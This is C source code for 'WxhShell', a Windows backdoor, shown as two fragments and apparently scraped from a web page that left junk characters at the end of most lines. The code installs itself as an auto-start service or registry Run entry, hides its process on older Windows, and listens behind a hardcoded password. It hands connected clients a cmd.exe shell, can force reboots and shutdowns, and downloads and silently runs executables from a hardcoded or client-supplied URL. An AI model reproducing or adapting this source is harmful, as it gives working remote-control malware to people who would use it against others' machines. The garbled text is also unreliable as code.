    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9<BC6M_/  
    if(Boot(SHUTDOWN)) X}*\/(fzl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8UiRirw  
    else { ^ Q]I)U  
    closesocket(wsh); W8{g<. /  
    ExitThread(0); z\wY3pIr2  
    } EM9K^l`  
    break; &Z!O   
    } yClX!OL  
  // 获取shell -?L~\WJAL  
  case 's': { A)"?GK{*  
    CmdShell(wsh); KwO;ICdJ  
    closesocket(wsh); jd]Om r!  
    ExitThread(0); w1tWyKq  
    break; 6U|An*  
  } T%|{Qo<j  
  // 退出 F uYjrzmx  
  case 'x': { OolYQU1_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L-Io!msb  
    CloseIt(wsh); C s XV0  
    break; 4e OS+&  
    } (JV [7u -  
  // 离开 ZBYFQTEE  
  case 'q': { A=8%2U wI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WUnz  
    closesocket(wsh); G`1!SEae  
    WSACleanup(); 66ULR&D8  
    exit(1); (55k70>i3  
    break; G)~/$EF,_  
        } a`/\0~  
  } >Pa&f20Hp  
  } IZ?+c@t  
j{QzD^t  
  // 提示信息 miWog8j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {v CB$@/o  
} ;1x(~pD*o  
  } =+>cTV  
.8[*`%K>  
  return; tZ|0wPp  
} )wT @`p"4  
_,r2g8qm  
// shell模块句柄 cX~J6vNy5  
int CmdShell(SOCKET sock) a6Zg~>vX  
{ j _]#Ew\q  
STARTUPINFO si; r xlKoa  
ZeroMemory(&si,sizeof(si)); GnTCq_\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Owd{;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _#;UXAi  
PROCESS_INFORMATION ProcessInfo; M/<>'%sj  
char cmdline[]="cmd"; 3` ,u^ w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ::<v; `l  
  return 0; J  ZH~ {  
} hB[VU ";  
|azdFf6A:[  
// 自身启动模式 C?OqS+  
int StartFromService(void) !i4/#H  
{ /[V}   
typedef struct nC6 ;:uM  
{ wlC7;u  
  DWORD ExitStatus; 8&q[jxI@8  
  DWORD PebBaseAddress; <PMQ$s>KK  
  DWORD AffinityMask; fX:=_c   
  DWORD BasePriority; Pi/V3D) B  
  ULONG UniqueProcessId; kH4xP3. i  
  ULONG InheritedFromUniqueProcessId; W=-:<3XL  
}   PROCESS_BASIC_INFORMATION; WR :I2-1  
{wK| C<K  
PROCNTQSIP NtQueryInformationProcess; czG]rl\1  
*3R3C+ L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OV>JmYe1{/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;*+wg5|  
hiT&QJB` _  
  HANDLE             hProcess; H@|h Nn$@  
  PROCESS_BASIC_INFORMATION pbi; /TEE<\"  
j'IZetT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sa?Ul)L2  
  if(NULL == hInst ) return 0; ;rj|>  
W]B75  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =PM6:3aKh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [\BLb8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B!j7vXM2  
MP6Py@J45  
  if (!NtQueryInformationProcess) return 0; ;N(9nX}%)  
7gnrLc$]O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U*Sjb% Qb  
  if(!hProcess) return 0; ORDVyb_x  
*xV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9YQYg@+R  
x?6 \C-i  
  CloseHandle(hProcess); br3r!Vuz/-  
fVvB8[(;~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bCfw,V{sce  
if(hProcess==NULL) return 0; T8t_+| ( G  
)&px[Dbx  
HMODULE hMod; 3'jH,17lWV  
char procName[255]; dTTC6?yPXf  
unsigned long cbNeeded; ]tsp}M@  
,^n5UA`PK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &x.n>O  
N+nv#]{  
  CloseHandle(hProcess); VRQD  
hVGK%HCz&  
if(strstr(procName,"services")) return 1; // 以服务启动 @9AK!I8f  
]1)#Y   
  return 0; // 注册表启动 )RCva3Ul  
} yM PZ}  
zd0 [f3~  
// 主模块 38zG[c|X  
int StartWxhshell(LPSTR lpCmdLine) /w/um>>K.  
{ GNX`~%3KYc  
  SOCKET wsl; -qs R,H  
BOOL val=TRUE; ?#0m[k&`  
  int port=0; 0J z|BE3Y  
  struct sockaddr_in door; GOU>j "5}2  
5sZqX.XVF  
  if(wscfg.ws_autoins) Install(); vxZ :l  
}}X<e  
port=atoi(lpCmdLine); N@x5h8  
W6&mXJ^3L  
if(port<=0) port=wscfg.ws_port; fN_Ilg)t?5  
ozUsp[W>  
  WSADATA data; f=cj5T:[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \N a  
S2PPwCU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    %G>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :zK\t5  
  door.sin_family = AF_INET; LUKt!I0l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =u<jxV9  
  door.sin_port = htons(port); q]rqFP0C  
e13' dCG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 78h!D[6  
closesocket(wsl); %pUA$oUt  
return 1; z/P^Bx]r  
} @3_."-d  
;y]BXW&l&  
  if(listen(wsl,2) == INVALID_SOCKET) { =2OLyZDI  
closesocket(wsl); )u>/:  
return 1; L a8D%N  
} YgR}y+q^6  
  Wxhshell(wsl); zL=PxFw0  
  WSACleanup(); ,/Al'  
:Oh*Q(>  
return 0; (X/dP ~  
2*pNIc  
} *}RV)0mif  
COFCa&m9c  
// 以NT服务方式启动 r 3FUddF'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B#, TdP]/  
{ EY}*}-3  
DWORD   status = 0; Z@gEJ^"yA"  
  DWORD   specificError = 0xfffffff; (Y~gItej  
FB }8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8Y P7'Fz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c +N\uG4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !n`Y^  
  serviceStatus.dwWin32ExitCode     = 0; >o4Ih^VB  
  serviceStatus.dwServiceSpecificExitCode = 0; n_eN|m?@  
  serviceStatus.dwCheckPoint       = 0; /c!@ H(^)  
  serviceStatus.dwWaitHint       = 0; gxCl=\  
W.7XShwd*2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); il~A(`+YO  
  if (hServiceStatusHandle==0) return; Jl-:@[;  
,r,$x4*  
status = GetLastError(); ;dqu ld+q  
  if (status!=NO_ERROR) O`TM}  
{ UI_u:a9Q/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `2a7y]?  
    serviceStatus.dwCheckPoint       = 0; f"aqg/l  
    serviceStatus.dwWaitHint       = 0; Jl@YBzDfF  
    serviceStatus.dwWin32ExitCode     = status; 8fC 5O  
    serviceStatus.dwServiceSpecificExitCode = specificError; D[Kq`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0}wmBSl  
    return; +?ilTU  
  } c^8csQ fG  
KA{ JSi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u iR[V~  
  serviceStatus.dwCheckPoint       = 0; zw}Wm4OH  
  serviceStatus.dwWaitHint       = 0; a]t| /Mq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wvPS0]  
} ^-g-]?q  
LDY k\[81  
// 处理NT服务事件,比如:启动、停止 x.ucsb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w'&QNm>  
{ Q+zy\T  
switch(fdwControl) VskdC?yIp  
{ >"<<hjKJ  
case SERVICE_CONTROL_STOP: P$Fq62;}r4  
  serviceStatus.dwWin32ExitCode = 0; DlxL:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ybp';8V  
  serviceStatus.dwCheckPoint   = 0; pe>[Ts`2F  
  serviceStatus.dwWaitHint     = 0; XG8UdR|  
  { )|`w;F>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n1)~/ >  
  } 0xzS9  
  return; !w{(}n2Wq  
case SERVICE_CONTROL_PAUSE: YjzGF=g#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [KNA5(Y0  
  break; SxW.dT8{  
case SERVICE_CONTROL_CONTINUE: ;, ^AR{+x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; IZ&FNOSZ+4  
  break; v 0D@`C  
case SERVICE_CONTROL_INTERROGATE: 0'O6-1Li  
  break; .Gn-`  
}; * %w8bB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2'7)D}p  
} :0vKt 6>Sp  
8~:s$~&r  
// 标准应用程序主函数 0jMS!"k   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zTW)SX_O  
{ *5q_fO  
w~Jy,[@n  
// 获取操作系统版本 *9|*21  
OsIsNt=GetOsVer(); :\IZ-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FGu#Pa  
L /V;;  
  // 从命令行安装 04@?Jb1*  
  if(strpbrk(lpCmdLine,"iI")) Install(); f1 Zj:3e  
/m8&E*+T1  
  // 下载执行文件  b =R9@!  
if(wscfg.ws_downexe) { 4nU+Wj?T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U%l<48@8  
  WinExec(wscfg.ws_filenam,SW_HIDE); RZTC+ylj  
} i1DJ0xC]  
r 9whW;"q  
if(!OsIsNt) { !"s~dL,7  
// 如果时win9x,隐藏进程并且设置为注册表启动 D |9ItxYu  
HideProc(); u8b^DB#+W  
StartWxhshell(lpCmdLine); Bw4 _hlm  
} K%(DRkj)  
else w ?"s6L3  
  if(StartFromService()) <gjA(xT5  
  // 以服务方式启动 v|GDPq  
  StartServiceCtrlDispatcher(DispatchTable); {]3Rk  
else ~s -"u *>  
  // 普通方式启动 IpKpj"eoLy  
  StartWxhshell(lpCmdLine); JXk<t5@D  
lvk r2Meu<  
return 0; fe+2U|y  
} 7R=A]@  
?f4jqF~Fh  
G\/7V L  
MRa |<yK  
=========================================== *Fm#Qek  
T )"U q  
eWU@ @$9  
7cly{U"  
_aK4[*jnqh  
E2yL9]K2  
" SEsLJ?Dv0  
_>(qQ-Px  
#include <stdio.h> |5#iPw_wMY  
#include <string.h> #uCE0}N@  
#include <windows.h> Rd>PE=u  
#include <winsock2.h> V^qkHm e  
#include <winsvc.h> .;jp2^  
#include <urlmon.h> m$80D,3  
#ByrX\  
#pragma comment (lib, "Ws2_32.lib") z-`-0@/A$  
#pragma comment (lib, "urlmon.lib") GCv*a[8?n  
EbMG9  
#define MAX_USER   100 // 最大客户端连接数 Erq% Ck(  
#define BUF_SOCK   200 // sock buffer *;Gnod<  
#define KEY_BUFF   255 // 输入 buffer d <Rv~F@  
GOj<>h}r  
#define REBOOT     0   // 重启 ?@5#p*u0  
#define SHUTDOWN   1   // 关机 \@hq7:Q  
X'.*I])  
#define DEF_PORT   5000 // 监听端口 *k<{nj@y  
2; ~jKR[~  
#define REG_LEN     16   // 注册表键长度 (sL!nRw  
#define SVC_LEN     80   // NT服务名长度 #*x8)6Ct  
jZP~!q  
// 从dll定义API [ @`Ki  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7$|L%Sk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W B7gY\Y&M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M\)(_I)V=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =`fz#Mfd  
Bxs0m]  
// wxhshell配置信息 6}^6+@LG  
struct WSCFG { a@niig  
  int ws_port;         // 监听端口 uM74X^U  
  char ws_passstr[REG_LEN]; // 口令 MH h;>tw  
  int ws_autoins;       // 安装标记, 1=yes 0=no rLJjK$_x  
  char ws_regname[REG_LEN]; // 注册表键名 sq1v._^s  
  char ws_svcname[REG_LEN]; // 服务名 >%Nqgn$V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 khS >  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,c.(&@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t+%tN^87:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5_E,x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,'^^OLez  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j6r.HYX!  
I>(-&YbC  
}; >w)A~ F<  
x'hUw*  
// default Wxhshell configuration PBY ^m+  
struct WSCFG wscfg={DEF_PORT, mYw9lM  
    "xuhuanlingzhe", Z9k"&F ~u}  
    1, {[$JiljD  
    "Wxhshell", 4I7;/ZgALQ  
    "Wxhshell", /I@Dv?  
            "WxhShell Service", }S}9Pm,:  
    "Wrsky Windows CmdShell Service", GK8x<Aq%z  
    "Please Input Your Password: ", 1 -:{&!  
  1, 'c&S%Ra[3G  
  "http://www.wrsky.com/wxhshell.exe", p!RyxB1.|  
  "Wxhshell.exe" 3,$G?auW  
    }; E6_.Q `!ll  
3Q_L6Wj~  
// 消息定义模块 '?j,oRz^T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,G%?}TfC)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -:NFF'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0w<G)p~%n  
char *msg_ws_ext="\n\rExit."; 9#D?wR#J=  
char *msg_ws_end="\n\rQuit."; oH]"F  
char *msg_ws_boot="\n\rReboot..."; 3*;S%1C^  
char *msg_ws_poff="\n\rShutdown..."; |8s45g>  
char *msg_ws_down="\n\rSave to "; DqbU$jt`  
+y\mlfJ.-b  
char *msg_ws_err="\n\rErr!"; J6W"t  
char *msg_ws_ok="\n\rOK!"; 8zWKKcf7t  
GjGt' m*  
char ExeFile[MAX_PATH]; l>iE1`iL<  
int nUser = 0; #oQDt'  
HANDLE handles[MAX_USER]; XWNDpL`j5  
int OsIsNt; } D0Y8  
<Q|(dFr`v  
SERVICE_STATUS       serviceStatus; 5Ff1x-lQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v dR6y  
'>0rp\jC  
// 函数声明 >+ E  
int Install(void); `6BjNV  
int Uninstall(void); SJ;Kjq.Qo  
int DownloadFile(char *sURL, SOCKET wsh); %X>P+6<=  
int Boot(int flag);  1@p'><\  
void HideProc(void); [|E|(@J  
int GetOsVer(void); =!Ce#p?h,  
int Wxhshell(SOCKET wsl); dPO|x+N,  
void TalkWithClient(void *cs); `ot <BwxJ  
int CmdShell(SOCKET sock); Md(h-wYr  
int StartFromService(void); y`Km96 Ui  
int StartWxhshell(LPSTR lpCmdLine); YKWts y  
<QZ X""  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PS3%V_2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?84B0K2N s  
$TR#-q  
// 数据结构和表定义 V-.Nc#  
SERVICE_TABLE_ENTRY DispatchTable[] = D8,V'n>L  
{ d-BUdIz  
{wscfg.ws_svcname, NTServiceMain}, l7M![Ur  
{NULL, NULL} [Adkj  
}; QH.zsqf(  
T3#KuiwU9  
// 自我安装 "{Jq6):mp  
int Install(void)  ZXL  
{ pR*)\@ma  
  char svExeFile[MAX_PATH]; "? t@Y  
  HKEY key; <oP"kh<D4  
  strcpy(svExeFile,ExeFile); =V(|3?N  
Wp0L!X=0  
// 如果是win9x系统,修改注册表设为自启动 !w #x@6yq  
if(!OsIsNt) { \]gUX-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wjnQK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LYvjqNC&4  
  RegCloseKey(key); !3 j@gi2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pXBlTZf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z{gJm9  
  RegCloseKey(key); 7m +d;x2  
  return 0; 4kqgZtg.  
    } ]f< H?  
  } )Fw{|7@N  
} LA%t'n h  
else { i<uWLhgh1$  
SB}0u=5  
// 如果是NT以上系统,安装为系统服务  q{*4BL'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6}xFE]Df-Y  
if (schSCManager!=0) ^g eC?m  
{ }:f \!b  
  SC_HANDLE schService = CreateService |r%lJmBB  
  ( xHo iu$i6  
  schSCManager, C. rLog#  
  wscfg.ws_svcname, VvJ]*D+e  
  wscfg.ws_svcdisp, *4oj' }  
  SERVICE_ALL_ACCESS, tH\ aHU[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;4] sP^+  
  SERVICE_AUTO_START, k~+(X|!5w  
  SERVICE_ERROR_NORMAL, }'.k  
  svExeFile, pcl '!8&7  
  NULL, dX8N7{"[  
  NULL, ]pi8%.d  
  NULL, r|W 2I,P  
  NULL, 5o P 3 1  
  NULL :2_8.+:  
  ); yw3E$~k  
  if (schService!=0) }jWZqIqj  
  { S85}&\m&4  
  CloseServiceHandle(schService); dD{{G :V  
  CloseServiceHandle(schSCManager); ]BiLLDz(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); map#4\  
  strcat(svExeFile,wscfg.ws_svcname); ck"lX[d1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { WUnmUW[/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eYD|`)-f<^  
  RegCloseKey(key); `3KXWN`.s  
  return 0; _T)G?iv:&  
    } 2A^>>Q/,u  
  } \vR&-+8dk  
  CloseServiceHandle(schSCManager); +o94w^'^$b  
} Z F&aV?  
} O?I~XM'S  
+>,4d  
return 1; _ Uxt9 X  
} FBCi,_ \4  
,b/qcu_|-  
// 自我卸载 O^W.5SaR  
int Uninstall(void) z%cpV{Nu  
{ RV2s@<0p  
  HKEY key; vUa&9Y  
5`?'}_[Yj  
if(!OsIsNt) { Hve'Z,X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B-`,h pp  
  RegDeleteValue(key,wscfg.ws_regname); q\fZ Q  
  RegCloseKey(key); Vs0T*4C=n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5u=(zg  
  RegDeleteValue(key,wscfg.ws_regname); :UrS@W^B  
  RegCloseKey(key); j(*ZPo>oD  
  return 0; Gj%cU@2  
  } 2V*<HlqOif  
} RIDzNdM>U  
} }hPFd  
else { S3oSc<&2  
I2R" Y<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OE=]/([  
if (schSCManager!=0) NWt`X!  
{ x?unE@?\S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @D3Y}nR:  
  if (schService!=0) e{<r<]/j  
  { k{ru< cf  
  if(DeleteService(schService)!=0) { F/ODV=J-  
  CloseServiceHandle(schService); PqO PRf  
  CloseServiceHandle(schSCManager); 4%(\y"T  
  return 0; w>]?gN?8Fe  
  } \UF/_'=K  
  CloseServiceHandle(schService); }eO{+{D +  
  } #EO@<> I  
  CloseServiceHandle(schSCManager); gq^j-!Q)Q<  
} #nv =x&g  
} ("7rjQjRz  
P&s-U6  
return 1; yi*2^??` 1  
} el;eyGa  
#Pf?.NrTn  
// 从指定url下载文件 XIAHUT5~J  
int DownloadFile(char *sURL, SOCKET wsh)  )Uk!;b  
{ H:d@@/  
  HRESULT hr; gC+PpY#2h  
char seps[]= "/"; ?Bdhn{_  
char *token; !FqJP OGm  
char *file; /g_cz&luR  
char myURL[MAX_PATH]; M'n2j  
char myFILE[MAX_PATH]; 122%KS  
8-2e4^ g(  
strcpy(myURL,sURL); fXV+aZ  
  token=strtok(myURL,seps); 41S.&-u  
  while(token!=NULL) {7%W /C#A  
  { DLWG0$#!  
    file=token; zv^km5by  
  token=strtok(NULL,seps); DhVF^=x$  
  } R@+%~"Z  
X &z|im'd  
GetCurrentDirectory(MAX_PATH,myFILE); @]rl2Qqe  
strcat(myFILE, "\\"); nF Mc'm  
strcat(myFILE, file); d=q&% gqN  
  send(wsh,myFILE,strlen(myFILE),0); M_+"RKp  
send(wsh,"...",3,0); w Bi'KS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $hn=MOMc  
  if(hr==S_OK) j0XS12eM  
return 0; Y2j>@  
else R0l5"l*@+  
return 1; TvbkvK  
V?.')?'V  
} =41g9UQ  
UcHe"mn  
// 系统电源模块 Cm~Pn "K_]  
int Boot(int flag) g p2S   
{ 2+2Gl7" s  
  HANDLE hToken; bI_6';hq!  
  TOKEN_PRIVILEGES tkp; DxFmsjX[L  
S^Lu RF]F  
  if(OsIsNt) { rW8.bMmM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aw\\oN*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LR:v$3 G(  
    tkp.PrivilegeCount = 1; a+U^mPe  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *CIR$sS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _{]\} =@  
if(flag==REBOOT) { i; qb\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3?do|>  
  return 0; [dQL6k";b  
} kgq"b)  
else { y .O%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m>H+noc^  
  return 0;  ?)_?YLi  
} fbG+.'  
  } `Mh 3v@K:  
  else { &!xePKvO6k  
if(flag==REBOOT) { ko2T9NI:S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YKUb'D:t]  
  return 0; b-d{)-G{(  
} =02$Dwr  
else { |2$wJ$ I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V>$A\AWw  
  return 0; ?F^$4:  
} }f~:>N#  
} + Z7 L&BI  
,[} XK9  
return 1; ,R-T( <r  
} 0gLl>tF[H  
_i/x4,=xv  
// win9x进程隐藏模块 (mNNTMe  
void HideProc(void) 0:CIM  
{ a7]wPXKq  
nRE(Rb Re  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .qN|.:6a  
  if ( hKernel != NULL ) Yq$KYB j  
  { <r@w`G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xF#'+Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H n^)Xw  
    FreeLibrary(hKernel); *&=sL  
  } u . xUM  
sbju3nvk  
return; W<QMUu  
} q)m0n237P  
RjcU0$Hi  
// 获取操作系统版本 )V6Bzn}9  
int GetOsVer(void) DV8b<)  
{ K+s@.D9J  
  OSVERSIONINFO winfo; SU,#:s(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^n@dC?  
  GetVersionEx(&winfo); 5~pQ$-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1 +0-VRl  
  return 1; >8* 0"Q  
  else U '$W$()p  
  return 0; HGwSsoS  
} O<RLw)nzg  
7gk}f%,3P  
// 客户端句柄模块 ;v*J:Mn/=  
int Wxhshell(SOCKET wsl) (}#8$ )  
{ S`\03(zDA  
  SOCKET wsh; I1a>w=x!+  
  struct sockaddr_in client; XK";-7TZt  
  DWORD myID; =o!1}'1}}  
Q[wTV3d  
  while(nUser<MAX_USER) xA&RMu&  
{ @MoBR.  
  int nSize=sizeof(client); P<tHqN !q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1GaM!OC9  
  if(wsh==INVALID_SOCKET) return 1; YLx4qE  
lWR".  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |+aUy^  
if(handles[nUser]==0) KkIgyLM  
  closesocket(wsh); 6XFLWN-)  
else Bp7`W:?# "  
  nUser++; YV{^2)^  
  } WLy%| {/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R [[ #r5q  
]RvFn~E!s  
  return 0; x(tf0[g  
} Hdn%r<+c  
ev{;}2~V  
// 关闭 socket S.I3m-  
void CloseIt(SOCKET wsh) n&n WY+GEo  
{ j6JK4{  
closesocket(wsh); '#oNOU  
nUser--; Rs +),  
ExitThread(0); F%]Z yO9  
} <TDp8t9bU  
-5 Q gJ  
// 客户端请求句柄 B&M-em=  
void TalkWithClient(void *cs) Jn#05Z  
{ q;)+O#CR  
pnpx`u;  
  SOCKET wsh=(SOCKET)cs; 4#D<#!]^  
  char pwd[SVC_LEN]; 7~I*u6zY  
  char cmd[KEY_BUFF]; t/kMV6  
char chr[1]; %3:[0o={d  
int i,j; Fcz}Gs4  
'bb *$T0=  
  while (nUser < MAX_USER) { Xa xM$  
4pJ #fkc^  
if(wscfg.ws_passstr) { Bn<1zg5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "8-;Dq'+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9K6G%  
  //ZeroMemory(pwd,KEY_BUFF); @~+W  
      i=0; QyEGK  
  while(i<SVC_LEN) { %0gcNk"=  
}t FRl  
  // 设置超时 M}S1Zz%Ii1  
  fd_set FdRead; om1@;u8u  
  struct timeval TimeOut; %FhUjHm  
  FD_ZERO(&FdRead); nn?h;KzB  
  FD_SET(wsh,&FdRead); y!kU0  
  TimeOut.tv_sec=8; %`# HGji)  
  TimeOut.tv_usec=0; ]Uu:t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J6C/`)+w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ' O+)[D  
}|j \QjH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ifu[L&U  
  pwd=chr[0]; 6]^~yby P  
  if(chr[0]==0xd || chr[0]==0xa) { ?s-Z3{k  
  pwd=0; e a3f`z  
  break; Ds<~JfVl  
  } Sp]u5\  
  i++; itn<c2UyA  
    } ; "K"S[  
Q&@e,7]V+  
  // 如果是非法用户,关闭 socket gy*c$[NS$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {u (( y D  
} _wp_y-"  
wV\.NQtS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :AYhBhitC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jmml2?V-c  
r^v1_u, 1I  
while(1) { 8fSY@  
4Nl3"@<$  
  ZeroMemory(cmd,KEY_BUFF); {~"fq.h!M  
8n"L4jb(:  
      // 自动支持客户端 telnet标准   ?e#bq]  
  j=0; F.cKg~E|e  
  while(j<KEY_BUFF) { /iw$\F |8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E'cI}q  
  cmd[j]=chr[0]; oiTSpd-  
  if(chr[0]==0xa || chr[0]==0xd) { >n"4M~I  
  cmd[j]=0; WI6h G  
  break; Xx+eGV";`  
  } Mpx98xcO  
  j++; %:!ILN  
    } =1+/`w  
;-Ki`x.oJ  
  // 下载文件 qORL 7?{  
  if(strstr(cmd,"http://")) { VD~ %6AjyN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V.-cm51I  
  if(DownloadFile(cmd,wsh)) \#!B*:u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +.-g`Vyz*  
  else I|<`Er-;58  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u\q(v D.  
  }  c+upoM  
  else { :X}fXgeL  
q&2L@l3A  
